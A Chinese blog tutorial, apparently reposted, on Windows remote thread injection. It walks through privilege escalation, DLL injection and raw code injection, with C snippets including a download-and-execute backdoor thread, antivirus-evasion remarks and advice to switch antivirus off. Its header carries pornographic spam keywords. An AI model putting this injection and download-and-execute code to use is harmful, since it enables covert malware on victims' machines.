久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

遠(yuǎn)程線程注入引出的問題

 londonKu 2012-09-03

一,、遠(yuǎn)程線程注入基本原理

遠(yuǎn)程線程注入——相信對Windows底層編程和系統(tǒng)安全熟悉的人并不陌生,其主要核心在于一個Windows API函數(shù)CreateRemoteThread,,通過它可以在另外一個進(jìn)程中注入一個線程并執(zhí)行,。在提供便利的同時,正是因?yàn)槿绱?,使得系統(tǒng)內(nèi)部出現(xiàn)了安全隱患,。常用的注入手段有兩種:一種是遠(yuǎn)程的dll的注入,另一種是遠(yuǎn)程代碼的注入,。后者相對起來更加隱蔽,,也更難被殺軟檢測。本文具體實(shí)現(xiàn)這兩種操作,,在介紹相關(guān)API使用的同時,,也會解決由此引發(fā)的一些問題。

顧名思義,,遠(yuǎn)程線程注入就是在非本地進(jìn)程中創(chuàng)建一個新的線程,。相比而言,本地創(chuàng)建線程的方法很簡單,,系統(tǒng)API函數(shù)CreateThread可以在本地創(chuàng)建一個新的線程,,其函數(shù)聲明如下:

復(fù)制代碼
HANDLE WINAPI CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    PDWORD lpThreadId
    );
復(fù)制代碼

這里最關(guān)心的兩個參數(shù)是lpStartAddresslpParameter,它們分別代表線程函數(shù)的入口和參數(shù),,其他參數(shù)一般設(shè)置為0即可,。由于參數(shù)的類型是LPVOID,因此傳入的參數(shù)數(shù)據(jù)需要用戶自己定義,,而入口函數(shù)地址類型必須是LPTHREAD_START_ROUTINE類型,。LPTHREAD_START_ROUTINE類型定義為:

typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)(LPVOID lpThreadParameter);
typedef PTHREAD_START_ROUTINE LPTHREAD_START_ROUTINE;

    按照上述定義聲明的函數(shù)都可以作為線程函數(shù)的入口,和CreateThread類似,,CreateRemoteThread的聲明如下: 
復(fù)制代碼
HANDLE WINAPI CreateRemoteThread(
    HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
    );
復(fù)制代碼

    可見該函數(shù)就是比CreateThread多了一個參數(shù)用于傳遞遠(yuǎn)程進(jìn)程的打開句柄,,而我們知道打開一個進(jìn)程需要函數(shù)OpenProcess,其函數(shù)聲明為:
HANDLE WINAPI OpenProcess(
    DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    DWORD dwProcessId
    );

    第一個參數(shù)表示打開進(jìn)程所要的訪問權(quán)限,,一般使用PROCESS_ALL_ACCESS來獲得所有權(quán)限,,第二個參數(shù)表示進(jìn)程的繼承屬性,,這里設(shè)置為false,最關(guān)鍵的參數(shù)是第三個參數(shù)——進(jìn)程的ID,。因此在此之前必須獲得進(jìn)程名字和PID的對應(yīng)關(guān)系,,TlHelp32.h庫內(nèi)提供的函數(shù)CreateToolhelp32SnapshotProcess32First,、Process32Next提供了對當(dāng)前進(jìn)程的遍歷訪問,使用這里有段公用代碼可以使用:

復(fù)制代碼
//獲取進(jìn)程name的ID
DWORD getPid(LPTSTR name)
{
    HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//獲取進(jìn)程快照句柄
    assert(hProcSnap!=INVALID_HANDLE_VALUE);
    PROCESSENTRY32 pe32;
    pe32.dwSize=sizeof(PROCESSENTRY32);
    BOOL flag=Process32First(hProcSnap,&pe32);//獲取列表的第一個進(jìn)程
    while(flag)
    {
        if(!_tcscmp(pe32.szExeFile,name))
        {
            CloseHandle(hProcSnap);
            return pe32.th32ProcessID;//pid
        }
        flag=Process32Next(hProcSnap,&pe32);//獲取下一個進(jìn)程
    }
    CloseHandle(hProcSnap);
    return 0;
}
復(fù)制代碼

    因此,,按照以上的方式,,使用getpid獲取指定名稱進(jìn)程pid,傳入OpenProcess打開進(jìn)程獲取進(jìn)程句柄,。但是你會發(fā)現(xiàn)這時候進(jìn)程是無法打開的,,或者說進(jìn)程不能以完全訪問的權(quán)限打開,因此必須提高本地程序的權(quán)限,,這是遠(yuǎn)程注入線程引發(fā)的第一個問題,,這里也有一段通用代碼:
復(fù)制代碼
//提升進(jìn)程權(quán)限
int EnableDebugPrivilege(const LPTSTR name)
{
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    //打開進(jìn)程令牌環(huán)
    if(!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&token))
    {
        cout<<"open process token error!\n";
        return 0;
    }
    //獲得進(jìn)程本地唯一ID
    LUID luid;
    if(!LookupPrivilegeValue(NULL,name,&luid))
    {
        cout<<"lookup privilege value error!\n";
        return 0;
    }
    tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid=luid;
    //調(diào)整進(jìn)程權(quán)限
    if(!AdjustTokenPrivileges(token,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
    {
        cout<<"adjust token privilege error!\n";
        return 0;
    }
    return 1;
}
復(fù)制代碼

通過調(diào)用EnableDebugPrivilege(SE_DEBUG_NAME)提高本地程序權(quán)限后就可以打開系統(tǒng)進(jìn)程了。然后傳入進(jìn)程句柄到CreateRemoteThread注入遠(yuǎn)程進(jìn)程,,但是遺憾的是遠(yuǎn)程線程無法運(yùn)行,,這里就引發(fā)了第二個問題。CreateRemoteThreadCreateThread并不僅僅是多了一個進(jìn)程句柄參數(shù)那么簡單,,其中更大的區(qū)別是它們的函數(shù)入口和參數(shù)的區(qū)別,。CreateThread是創(chuàng)建本地線程,函數(shù)入口地址和參數(shù)都在本地進(jìn)程,,這很好理解,,但是CreateRemoteThread創(chuàng)建的是其他進(jìn)程的線程,它的入口地址和參數(shù)就該在其他進(jìn)程中,。如果強(qiáng)行把本地地址和參數(shù)傳入,,雖然編譯上能通過,但是運(yùn)行時侯被注入的進(jìn)程會查找和本地進(jìn)程相同值的地址和參數(shù)地址,,當(dāng)然結(jié)果可想而知,,這就像拿著一號公寓201的鑰匙去開二號公寓201的門一樣。(或許在這里讀者會有這個想法,,可不可以遠(yuǎn)程注入本地進(jìn)程呢,?雖然這么做沒什么意義,希望有興趣的讀者可以試一試,,看看能否成功,。)

既然這樣,那么如何告訴遠(yuǎn)程線程需要執(zhí)行的代碼和地址呢,?繼續(xù)上邊那個例子,,假設(shè)在一號公寓201房間內(nèi)可以使用高功率電器,,但是一號公寓檢查嚴(yán)格,一旦有此情況立馬被禁止,。而二號公寓戒備很松,,所以有人想辦法在二號公寓新準(zhǔn)備一個空的房間專門使用高功率電器,這樣即回避了檢查,,也達(dá)到了目的,。這里一號公寓相當(dāng)于本地進(jìn)程,二號公寓相當(dāng)于系統(tǒng)進(jìn)程,,使用高功率電器相當(dāng)于黑客的行為,,準(zhǔn)備新的房間相當(dāng)于開辟新的存儲空間,禁止使用高功率電器相當(dāng)于殺軟的查殺,。那么這里就需要關(guān)心如何在二號公寓新建一個房間,,這里系統(tǒng)有兩個API函數(shù)VirtualAllocExWriteProcessMemory,顧名思義,,前者在遠(yuǎn)程進(jìn)程中申請一段內(nèi)存用于存儲數(shù)據(jù)或者代碼——準(zhǔn)備房間,,后者在申請的空間內(nèi)寫入數(shù)據(jù)或者代碼——準(zhǔn)備高功率電器。參看一下他們的聲明就一目了然:

復(fù)制代碼
LPVOID WINAPI VirtualAllocEx(
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
    );
復(fù)制代碼

VirtualAllocEx指定了進(jìn)程和申請內(nèi)存塊的大小以及內(nèi)存塊的訪問權(quán)限,,并且返回申請后的內(nèi)存首地址——這個地址是遠(yuǎn)程進(jìn)程中的地址,,在本地進(jìn)程沒有任何意義。一般函數(shù)調(diào)用形式如下:

char*procAddr=(char*)VirtualAllocEx(hProc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);

這樣就在進(jìn)程hProc中申請到了一個1024字節(jié)大小的可讀可寫的內(nèi)存塊,。

復(fù)制代碼
BOOL WINAPI WriteProcessMemory(
    HANDLE hProcess,
    LPVOID lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T nSize,
    SIZE_T * lpNumberOfBytesWritten
    );
復(fù)制代碼

這個函數(shù)和memcpy功能和形式都很類似,,本質(zhì)上就是緩沖區(qū)的復(fù)制,將數(shù)據(jù)lpBuffer[nSize]的數(shù)據(jù)復(fù)制到hProcess:lpBaseAddress[nSize]中去,。

這樣CreateRemoteThread的參數(shù)就很好設(shè)置了,,線程入口函數(shù)地址找不到——申請一段空間放上代碼,返回代碼首地址,;參數(shù)地址找不到——申請一段空間放上數(shù)據(jù),,返回?cái)?shù)據(jù)首地址;這樣房間,,電器,,原料都已齊全了,使用CreateRemoteThread啟動電器就可以加工了,!這種思維很合乎邏輯,,但是實(shí)現(xiàn)起來較為復(fù)雜,這是稍后介紹的代碼注入方式,。不過在這之前我們需要看一種更簡單的dll注入方式,,說起dll我們需要聲明兩點(diǎn)關(guān)鍵的內(nèi)容:

二、遠(yuǎn)程線程DLL注入

首先,,我們需要知道Win32程序在運(yùn)行時都會加載一個名為kernel32.dll的文件,,而且Windows默認(rèn)的是同一個系統(tǒng)中dll的文件加載位置是固定的,。我們又知道dll里有一系列按序排列的輸出函數(shù),因此這些函數(shù)在任何進(jìn)程的地址空間中的位置是固定的?。,。±绫镜剡M(jìn)程中MessageBox函數(shù)的地址和其他任何進(jìn)程的MessageBox的地址是一樣的,。

其次,,我們需要知道動態(tài)加載dll文件需要系統(tǒng)API LoadLibraryA或者LoadLibraryW,由于使用MBCS字符集,,這里我們只關(guān)心LoadLibraryA,,而這個函數(shù)正是kernel32.dll的導(dǎo)出函數(shù)!?。∫虼宋覀兙湍茉诒镜剡M(jìn)程獲得了LoadLibraryA的地址,,然后告訴遠(yuǎn)程進(jìn)程這就是遠(yuǎn)程線程入口地址,,那么遠(yuǎn)程線程就會自動的執(zhí)行LoadLibraryA這個函數(shù)。這就像我們已經(jīng)知道二號公寓和一號公寓一樣,,在201房間都可以使用高功率電器,那何必還要重新造一個新的房間放電器呢。

高功率電器可以搞定,,但是即使煮飯也總要有米和水的,。函數(shù)可以偽造代替,但是參數(shù)是不能偽造代替的,。因此用前邊的方法,,我們申請一個新的房間專門存放糧食,待用到的時候取便是,。我們知道LoadLibraryA的參數(shù)就是要加載的dll的路徑,,為了保險(xiǎn)起見,我們把要注入的dll的路徑字符串注入到遠(yuǎn)程進(jìn)程空間中,,這樣返回的地址就是LoadLibraryA的參數(shù)字符串的地址,,將這兩個地址分別作為入口和參數(shù)傳入CreateRemoteThread就可以使得遠(yuǎn)程進(jìn)程加載我們自己的dll了。

說到這里,,或許有人疑問這么折騰了半天,,舉了這么多例子,僅僅加載了一個自定義dll進(jìn)去,,并沒有做任何“想做”的事情,。其實(shí),這里已經(jīng)能做基本上任何事情了,。因此dll是我們自己寫的,,那么做什么事情就有我們自己來定,,可能有人最疑惑的莫過于如何在加載dll以后立即執(zhí)行我們真正想執(zhí)行的代碼。這里就需要看一下一個簡單DLL工程,。

使用VC或者VS創(chuàng)建一個Win32 DLL工程,,源代碼可以這么寫:

復(fù)制代碼
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://加載時候
        
//do something
        break;
    default:
        break;
    }
    return TRUE;
}
復(fù)制代碼

看到這個函數(shù)相信很多人一目了然了,在switch-case語句的case DLL_PROCESS_ATTACHE條件下就是執(zhí)行用戶自定義代碼的地方,,它執(zhí)行的時機(jī)就是在DLL被任何一個進(jìn)程加載的時候,,這也就解決了第三個用戶代碼啟動的問題,至于寫什么有你自己決定,。其實(shí)DLL項(xiàng)目這個主函數(shù)不是必須的,,因?yàn)?/span>dll的目的是導(dǎo)出函數(shù),不過這里我們不用這些知識,,感興趣的讀者可以參考其他dll開發(fā)資料,。

從開始敘述到這里就是一個DLL遠(yuǎn)程注入的所有的細(xì)節(jié)的描述了,相信讀者通過實(shí)驗(yàn)就可以驗(yàn)證,。但是當(dāng)你運(yùn)行的時候你會發(fā)現(xiàn)360,,金山,瑞星這群殺軟就開始忙活個不停了,,不斷的提示你木馬后門的存在,,本人強(qiáng)烈建議此時你把它們輕輕的關(guān)掉!從這里也可以看出一個問題,,DLL遠(yuǎn)程注入的方式已經(jīng)被多數(shù)殺軟主動攔截了,,它們會把不可信的dll統(tǒng)統(tǒng)拉為黑名單,作為后門程序處理,。這樣不得不讓我們回歸原始,,放棄dll回到我們最初的設(shè)想——自己注入代碼,這種方式殺軟的提示效果如何呢,,我們拭目以待,。

三、遠(yuǎn)程線程代碼注入

既然使用LoadLibraryA加載DLL執(zhí)行啟動代碼并不能達(dá)到很好的效果,,那么我們就想辦法直接寫代碼直接讓遠(yuǎn)程線程執(zhí)行,。

這里主要關(guān)心的就是代碼的問題,因?yàn)榫€程函數(shù)參數(shù)傳遞方式和dll路徑的方法大同小異,,代碼的注入?yún)s和數(shù)據(jù)的注入有著很多不同,。

首先,這是第四個問題,,注入代碼如何書寫,。通過類比CreateThread的函數(shù)入口,我們自然能想到,,使用和CreateThread同樣形式的函數(shù)定義即可,,即形為LPSECURITY_ATTRIBUTES的函數(shù)定義,。但是這里最關(guān)鍵的不是函數(shù)的定義形式,而是函數(shù)內(nèi)部代碼的限制,。由于這段代碼,,或者叫注入函數(shù),是要“拷貝”到其他進(jìn)程空間去的,,因此這個函數(shù)不能使用任何全局變量,、不能使用堆空間、不能調(diào)用本地定義的函數(shù),、不能調(diào)用一些庫函數(shù)等等,。經(jīng)測試,最保險(xiǎn)的方式是:函數(shù)使用??臻g的局部變量是沒有問題的,,因?yàn)閰R編代碼將局部變量翻譯為相對地址;函數(shù)使用系統(tǒng)的API是沒有問題的,,最可靠的是使用kernel32.dll內(nèi)的函數(shù),,萬一使用其他dll庫的函數(shù)需要使用kernel32.dll導(dǎo)出函數(shù)LoadLibraryA加載對應(yīng)的dll后,再使用kernel32.dll的導(dǎo)出函數(shù)GetProcAddress獲取函數(shù)地址,,比如MessagBox函數(shù)。雖然限制很多,,但是足可以寫出功能很強(qiáng)大的代碼,,因?yàn)?/span>WindowsAPI可以自由的使用!??!

其次,即第五個問題,,注入代碼如何定位,。定位包含兩層含義:代碼的起始位置和代碼的長度。有人說這個簡單,,起始位置就是函數(shù)名的值,,長度雖然不好確定,就給一個比較大的值就可以了,。這個思路是沒有問題的,,但是實(shí)際上這么做并不一定成功!問題不在代碼長度上,,而是出現(xiàn)在代碼的起始位置,。為此我們專門做一個實(shí)驗(yàn):

我們寫一個最簡單的C程序:

1 執(zhí)行結(jié)果

程序很簡單,就是輸出main函數(shù)的地址,,通過調(diào)試我們看到了輸出結(jié)果是0x003d1131,,但是我們監(jiān)視main符號的值為0x003d1380?。?!如果你也是第一次看到這個情況,,相信你也會和我當(dāng)初一樣驚訝,因?yàn)槲覀円话愕乃季S是符號的值應(yīng)該和輸出結(jié)果是一致的,。為此,,我們查看一下反匯編:

2 反匯編

地址0x011513A0出的push指令就是傳遞main符號的值作為printf的參數(shù),而我們看到main函數(shù)的起始地址為0x01151380,,但是這里傳遞的值為@ILT+300=0x1151131,,而符號名被映射為_main@ILT_main是怎么回事,?

3 ILT

原來從@ILT+0開始就是一系列的jmp指令,,而_main就是一條jmp指令的地址,jmp的目的地址正好是main=0x1151380,!這里我們可以猜測,,編譯器為函數(shù)定義維護(hù)了一張表,名字叫ILT,,所有對函數(shù)名的直接訪問都被映射為修飾后的函數(shù)名(一般都是原名字前加上下劃線),,在函數(shù)地址變化后不需要修改任何對函數(shù)調(diào)用的指令代碼,只需要修改這個表就可以了,。那么ILT究竟叫什么名字呢,?上網(wǎng)查一下資料發(fā)現(xiàn)它可能叫作Incremental Linking Table(增量鏈接表),其實(shí)名字叫什么不重要,,重要的我們發(fā)現(xiàn)當(dāng)初的結(jié)果不一致是由于編譯器的設(shè)置導(dǎo)致的,。后來,我們發(fā)現(xiàn)原來這種設(shè)置是Debug模式下獨(dú)有的,,如果將工程設(shè)置為Release模式就不會出現(xiàn)這種情況了,。

那么我們?nèi)绾翁幚?/span>Debug模式下的程序呢,其實(shí)方法還是有的,。我們觀察ILT中每個跳轉(zhuǎn)指令的結(jié)構(gòu),,我們發(fā)現(xiàn)它們都是相對跳轉(zhuǎn)指令(就是jmp到相對于下一條指令地址的某個偏移處)。因此我們可以通過對指令的解析計(jì)算出main函數(shù)的真正地址,。

參考_main處的jmp指令,,根據(jù)指令的二進(jìn)制含義,我們知道E9jmp指令的操作碼,,其后邊跟著32位的立即數(shù)就是相對地址,,由于x86是小字節(jié)序的,因此這個相對偏移應(yīng)該是0x0000024A_main位置的指令的下一條指令地址為0x01151136,,那么真正的main符號地址=0x01151136+0x0000024A=0x01151380,,正好是main函數(shù)定義的位置!具體轉(zhuǎn)化代碼如下:

復(fù)制代碼
//將函數(shù)地址轉(zhuǎn)換為真實(shí)地址
unsigned int getFunRealAddr(LPVOID fun)
{
    unsigned int realaddr=(unsigned int)fun;//虛擬函數(shù)地址
    
// 計(jì)算函數(shù)真實(shí)地址
    unsigned char* funaddr= (unsigned char*)fun;
    if(funaddr[0]==0xE9)// 判斷是否為虛擬函數(shù)地址,,E9為jmp指令
    {
        int disp=*(int*)(funaddr+1);//獲取跳轉(zhuǎn)指令的偏移量
        realaddr+=5+disp;//修正為真實(shí)函數(shù)地址
    }
    return realaddr;
}
復(fù)制代碼

需要注意的是這個轉(zhuǎn)換函數(shù)只能針對本地定義的函數(shù),,如果是系統(tǒng)的庫函數(shù)就無能為力了,因?yàn)閹旌瘮?shù)并沒有存在ILT中,。

此處還有一個小細(xì)節(jié),,我們觀察編譯器在Debug下生成的函數(shù)的結(jié)尾處會有一連串很長的0xCC數(shù)據(jù),即指令int 3,,我猜測可能是為了對齊或者防止函數(shù)崩潰PC指針跳到非法位置來強(qiáng)制中斷,,原因暫時不追究,但是這個特征可以方便我們計(jì)算函數(shù)的長度——天然的函數(shù)結(jié)束標(biāo)記,!

計(jì)算函數(shù)長度的代碼可以這么寫:

復(fù)制代碼
int ProcSize=0;//實(shí)際代碼長度,,存放線程函數(shù)代碼
char*buf=(char*)getFunRealAddr(ThreadProc);
for(char*p=buf;ProcSize<2048;ProcSize++,p++)//掃描到第一組連續(xù)的8個int 3指令作為函數(shù)結(jié)束標(biāo)記
{
    if((unsigned long long)*(unsigned long long*)p
            ==0xcccccccccccccccc)//中斷指令int 3
    {
        break;
    }
}
復(fù)制代碼

然后,當(dāng)我們嘗試執(zhí)行注入的代碼時候,,卻總是出現(xiàn)異常,。使用OllyDbg調(diào)試被注入的進(jìn)程也的確看到代碼被寫入了指定的地址空間。這時候就需要考慮到內(nèi)存頁的權(quán)限了,,因?yàn)橹笆褂?/span>VirtualAllocEx申請內(nèi)存的屬性是可讀可寫,,但是對于存放代碼的內(nèi)存必須設(shè)置為可讀可寫可執(zhí)行才可以!??!這個細(xì)節(jié)作為第六個小問題。

這里可以在申請的時候設(shè)置:

VirtualAllocEx(rProc,NULL,ProcSize,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

也可以使用函數(shù)VirtualProtectEx進(jìn)行屬性更改:

VirtualProtectEx(rProc,procAddr,ProcSize,PAGE_EXECUTE_READWRITE,&oldAddr);

最后,,按照上邊的要求寫出合理的代碼,,計(jì)算出正確的函數(shù)起始地址和大小,,然后申請空間存放代碼和參數(shù),,設(shè)置代碼空間屬性為可執(zhí)行,使用CreateRemoteThread啟動函數(shù)執(zhí)行,,但是還是會出現(xiàn)異常,,下邊是觸發(fā)異常的代碼。

復(fù)制代碼
//線程參數(shù)結(jié)構(gòu)
struct RemotePara
{
    TCHAR url[256];//下載地址
    TCHAR filePath[256];//保存文件路徑
    DWORD downAddr;//下載函數(shù)的地址
    DWORD execAddr;//執(zhí)行函數(shù)的地址
};
DWORD WINAPI ThreadProc(LPVOID lpara)
{
    RemotePara*para=(RemotePara*)lpara;
    typedef UINT (WINAPI*winExec)(LPTSTR cmdLine,UINT cmdShow);//定義WinExec函數(shù)原型
    typedef UINT (WINAPI*urlDownloadToFile)(LPUNKNOWN caller,LPTSTR url,LPTSTR fileName
        ,DWORD reserved,LPBINDSTATUSCALLBACK sts);//定義URLDownloadToFile函數(shù)原型

    urlDownloadToFile download;
    download=(urlDownloadToFile)para->downAddr;//獲取download函數(shù)地址
    winExec exe;
    exe=(winExec)para->execAddr;//獲取exe函數(shù)地址
    
    download(0,para->url,para->filePath,0,NULL);//下載文件
    exe(para->filePath,SW_SHOW);//執(zhí)行下載的文件

    return 1;
}
復(fù)制代碼

代碼的含義很明確,,參數(shù)中傳遞進(jìn)來了事先已經(jīng)計(jì)算好的API函數(shù)URLDownloadToFileWinExec的地址以及需要的路徑參數(shù),,線程函數(shù)執(zhí)行時從指定地址下載exe文件并執(zhí)行之,這是一個典型的后門啟動,。這里引出第七個問題,,系統(tǒng)總是執(zhí)行下載后觸發(fā)異常,如果刪除下載文件函數(shù)的調(diào)用,直接執(zhí)行卻能夠成功,,這也就說明該線程函數(shù)只能完成一次API調(diào)用,。通過大量的分析可以確定這種異常是在函數(shù)調(diào)用后觸發(fā)的,而且導(dǎo)致了棧的崩潰,。這里依舊查看反匯編:

4 運(yùn)行時檢查

我們發(fā)現(xiàn)在下載函數(shù)被調(diào)用結(jié)束后編譯器卻調(diào)用了一個名為_RTC_CheckEsp的函數(shù),,這個函數(shù)而且還存在ILT表有映射結(jié)構(gòu)(在ILT偏移520處)。因此它的地位應(yīng)該和本地定義的函數(shù)是相同的,,而我們又知道注入代碼是不能調(diào)用本地函數(shù)的,,這就有問題了,因?yàn)檫@段指令call 0xDA120D在另一個進(jìn)程空間就不知道是什么了,,出現(xiàn)異常是很正常的事情,。為了保證程序的正常執(zhí)行,這里有兩種做法,,由于這個函數(shù)在ILT是有對應(yīng)結(jié)構(gòu)的,,那么如果將項(xiàng)目修改為Release版本,那么這個檢查應(yīng)該就會消失了,,是不是這樣呢,?

5 Release的函數(shù)調(diào)用

果然在預(yù)料之中,Release的優(yōu)化后的代碼已經(jīng)很晦澀了,,那個奇怪的函數(shù)調(diào)用就這么被刪除了,。或許你和我一樣好奇這個函數(shù)存在的意義,,通過查閱資料我們發(fā)現(xiàn)這個是運(yùn)行時檢查的函數(shù),,透過它的名字可以看出端倪,主要檢查ESP寄存器的值,,看來是保護(hù)棧的函數(shù),,在編譯器設(shè)置中是可以關(guān)閉這個開關(guān)的,這也就為Debug的程序提供了一個刪除運(yùn)行時檢查的方案,。

圖 6 運(yùn)行時檢查設(shè)置 

只要我們把運(yùn)行時檢查設(shè)置為默認(rèn)值就可以關(guān)閉這個開關(guān)了,。你可以試試切換為Release版本,這個時候這個值也被設(shè)置為默認(rèn)值了,。

四,、遠(yuǎn)程線程注入技術(shù)總結(jié)

通過以上的介紹和實(shí)驗(yàn),我們可以總結(jié)如下:

遠(yuǎn)程線程注入主要目的是通過在系統(tǒng)進(jìn)程中產(chǎn)生遠(yuǎn)程線程執(zhí)行用戶代碼,,而通過這種方式可以很好的實(shí)現(xiàn)本地進(jìn)程的“隱藏”——其實(shí)不存在本地進(jìn)程,,因?yàn)樽⑷刖€程后本地進(jìn)程結(jié)束。

使用DLL的注入的方式比較簡單,,用戶功能在DLL中實(shí)現(xiàn),,但很容易被殺軟作為后門程序查殺,,隱蔽性比較差。

使用代碼注入方式比較復(fù)雜,,考慮的問題較多,,比如代碼頁屬性,代碼位置和大小和代碼的編寫格式等,。但是經(jīng)實(shí)驗(yàn)測試發(fā)現(xiàn),,除了WinExec這樣的敏感API被殺軟攔截外,一般的不太敏感的危險(xiǎn)操作,,比如下載,,都會正常的執(zhí)行,這也給惡意用戶有了可乘之機(jī),。

當(dāng)然,,遠(yuǎn)程注入并非是黑客的專利,使用這種技術(shù)本身就是很好的進(jìn)程間控制的一種方式,,技術(shù)有利有弊,,在它給用戶帶來方便的同時也增添了潛在的風(fēng)險(xiǎn),希望本文對你有所幫助,。

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多